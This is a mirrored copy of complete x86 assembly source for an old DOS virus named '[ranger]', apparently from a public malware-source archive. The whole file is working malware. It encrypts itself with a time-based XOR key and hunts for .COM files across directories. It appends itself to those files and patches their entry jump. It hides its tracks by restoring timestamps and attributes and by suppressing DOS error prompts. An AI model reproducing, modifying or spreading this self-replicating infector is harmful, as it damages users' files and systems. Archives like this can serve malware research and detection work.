mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
249 lines
9.4 KiB
NASM
249 lines
9.4 KiB
NASM
|
|
.model tiny ; Handy directive
|
|
.code ; Virus code segment
|
|
org 100h ; COM file starting IP
|
|
|
|
entry_point: db 0e9h,0,0 ; jmp decrypt
|
|
|
|
decrypt: ; handles encryption and decryption
|
|
mov cx,(offset heap - offset startencrypt)/2 ; iterations
|
|
patch_startencrypt:
|
|
mov di,offset startencrypt ; start of decryption
|
|
decrypt_loop:
|
|
db 81h,35h ; xor word ptr [di], xxxx
|
|
decrypt_value dw 0 ; initialised at zero for null effect
|
|
inc di ; calculate new decryption location
|
|
inc di
|
|
loop decrypt_loop ; decrypt mo'
|
|
startencrypt:
|
|
call next ; calculate delta offset
|
|
next: pop bp ; bp = IP next
|
|
sub bp,offset next ; bp = delta offset
|
|
|
|
lea si,[bp+save3]
|
|
mov di,100h
|
|
push di ; For later return
|
|
movsw
|
|
movsb
|
|
|
|
mov byte ptr [bp+numinfec],1 ; reset infection counter
|
|
|
|
mov ah,1Ah ; Set new DTA
|
|
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
|
int 21h
|
|
|
|
mov ah,47h ; Get current directory
|
|
mov dl,0 ; Current drive
|
|
lea si,[bp+origdir] ; DS:SI->buffer
|
|
int 21h
|
|
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
|
|
|
mov ax,3524h ; Get int 24 handler
|
|
int 21h ; to ES:BX
|
|
mov word ptr [bp+oldint24],bx; Save it
|
|
mov word ptr [bp+oldint24+2],es
|
|
mov ah,25h ; Set new int 24 handler
|
|
lea dx,[bp+offset int24] ; DS:DX->new handler
|
|
int 21h
|
|
push cs ; Restore ES
|
|
pop es ; 'cuz it was changed
|
|
|
|
dir_scan: ; "dot dot" traversal
|
|
lea dx,[bp+com_mask]
|
|
mov ah,4eh ; find first file
|
|
mov cx,7 ; any attribute
|
|
findfirstnext:
|
|
int 21h ; DS:DX points to mask
|
|
jc done_infections ; No mo files found
|
|
|
|
mov al,0h ; Open read only
|
|
call open
|
|
|
|
mov ah,3fh ; Read file to buffer
|
|
lea dx,[bp+buffer] ; @ DS:DX
|
|
mov cx,1Ah ; 1Ah bytes
|
|
int 21h
|
|
|
|
mov ah,3eh ; Close file
|
|
int 21h
|
|
|
|
checkCOM:
|
|
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
|
cmp ax,2000 ; Is it too small?
|
|
jb find_next
|
|
|
|
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
|
ja find_next
|
|
|
|
mov bx,word ptr [bp+buffer+1]; get jmp location
|
|
add bx,heap-decrypt+3 ; Adjust for virus size
|
|
cmp ax,bx
|
|
je find_next ; already infected
|
|
jmp infect_com
|
|
find_next:
|
|
mov ah,4fh ; find next file
|
|
jmp short findfirstnext
|
|
mov ah,3bh ; change directory
|
|
lea dx,[bp+dot_dot] ; "cd .."
|
|
int 21h
|
|
jnc dir_scan ; go back for mo!
|
|
|
|
done_infections:
|
|
jmp activate ; Always activate
|
|
exit_virus:
|
|
mov ax,2524h ; Restore int 24 handler
|
|
lds dx,[bp+offset oldint24] ; to original
|
|
int 21h
|
|
push cs
|
|
pop ds
|
|
|
|
mov ah,3bh ; change directory
|
|
lea dx,[bp+origdir-1] ; original directory
|
|
int 21h
|
|
|
|
mov ah,1ah ; restore DTA to default
|
|
mov dx,80h ; DTA in PSP
|
|
int 21h
|
|
retn ; 100h is on stack
|
|
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
|
|
|
activate: ; ******************************
|
|
mov ax,04301h ; DOS set file attributes function
|
|
xor cx,cx ; File will have no attributes
|
|
lea dx,[di + 01Eh] ; DX points to file name
|
|
int 021h
|
|
mov ax,03D02h ; DOS open file function, r/w
|
|
lea dx,[di + 01Eh] ; DX points to file name
|
|
int 021h
|
|
xchg bx,ax ; Transfer file handle to AX
|
|
jmp exit_virus
|
|
|
|
creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator
|
|
virusname db '[ranger]',0
|
|
|
|
infect_com: ; ax = filesize
|
|
mov cx,3
|
|
sub ax,cx
|
|
lea si,[bp+offset buffer]
|
|
lea di,[bp+offset save3]
|
|
movsw
|
|
movsb
|
|
mov byte ptr [si-3],0e9h
|
|
mov word ptr [si-2],ax
|
|
add ax,103h
|
|
push ax ; needed later
|
|
finishinfection:
|
|
push cx ; Save # bytes to write
|
|
xor cx,cx ; Clear attributes
|
|
call attributes ; Set file attributes
|
|
|
|
mov al,2
|
|
call open
|
|
|
|
mov ah,40h ; Write to file
|
|
lea dx,[bp+buffer] ; Write from buffer
|
|
pop cx ; cx bytes
|
|
int 21h
|
|
|
|
mov ax,4202h ; Move file pointer
|
|
xor cx,cx ; to end of file
|
|
cwd ; xor dx,dx
|
|
int 21h
|
|
|
|
get_encrypt_value:
|
|
mov ah,2ch ; Get current time
|
|
int 21h ; dh=sec,dl=1/100 sec
|
|
or dx,dx ; Check if encryption value = 0
|
|
jz get_encrypt_value ; Get another if it is
|
|
mov [bp+decrypt_value],dx ; Set new encryption value
|
|
lea di,[bp+code_store]
|
|
mov ax,5355h ; push bp,push bx
|
|
stosw
|
|
lea si,[bp+decrypt] ; Copy encryption function
|
|
mov cx,startencrypt-decrypt ; Bytes to move
|
|
push si ; Save for later use
|
|
push cx
|
|
rep movsb
|
|
|
|
lea si,[bp+write] ; Copy writing function
|
|
mov cx,endwrite-write ; Bytes to move
|
|
rep movsb
|
|
pop cx
|
|
pop si
|
|
pop dx ; Entry point of virus
|
|
push di
|
|
push si
|
|
push cx
|
|
rep movsb ; Copy decryption function
|
|
mov ax,5b5dh ; pop bx,pop bp
|
|
stosw
|
|
mov al,0c3h ; retn
|
|
stosb
|
|
|
|
add dx,offset startencrypt - offset decrypt ; Calculate new
|
|
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
|
call code_store ; decryption
|
|
pop cx
|
|
pop di
|
|
pop si
|
|
rep movsb ; Restore decryption function
|
|
|
|
mov ax,5701h ; Restore creation date/time
|
|
mov cx,word ptr [bp+newDTA+16h] ; time
|
|
mov dx,word ptr [bp+newDTA+18h] ; date
|
|
int 21h
|
|
|
|
mov ah,3eh ; Close file
|
|
int 21h
|
|
|
|
mov ch,0
|
|
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
|
call attributes ; attributes
|
|
|
|
dec byte ptr [bp+numinfec] ; One mo infection
|
|
jnz mo_infections ; Not enough
|
|
jmp done_infections
|
|
mo_infections: jmp find_next
|
|
|
|
open:
|
|
mov ah,3dh
|
|
lea dx,[bp+newDTA+30] ; filename in DTA
|
|
int 21h
|
|
xchg ax,bx
|
|
ret
|
|
|
|
attributes:
|
|
mov ax,4301h ; Set attributes to cx
|
|
lea dx,[bp+newDTA+30] ; filename in DTA
|
|
int 21h
|
|
ret
|
|
|
|
write:
|
|
pop bx ; Restore file handle
|
|
pop bp ; Restore relativeness
|
|
mov ah,40h ; Write to file
|
|
lea dx,[bp+decrypt] ; Concatenate virus
|
|
mov cx,heap-decrypt ; # bytes to write
|
|
int 21h
|
|
push bx
|
|
push bp
|
|
endwrite:
|
|
|
|
int24: ; New int 24h (error) handler
|
|
mov al,3 ; Fail call
|
|
iret ; Return control
|
|
|
|
com_mask db '*.com',0
|
|
dot_dot db '..',0
|
|
heap: ; Variables not in code
|
|
; The following code is the buffer for the write function
|
|
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
|
oldint24 dd ? ; Storage for old int 24h handler
|
|
backslash db ?
|
|
origdir db 64 dup (?) ; Current directory buffer
|
|
newDTA db 43 dup (?) ; Temporary DTA
|
|
numinfec db ? ; Infections this run
|
|
buffer db 1ah dup (?) ; read buffer
|
|
endheap: ; End of virus
|
|
end entry_point
|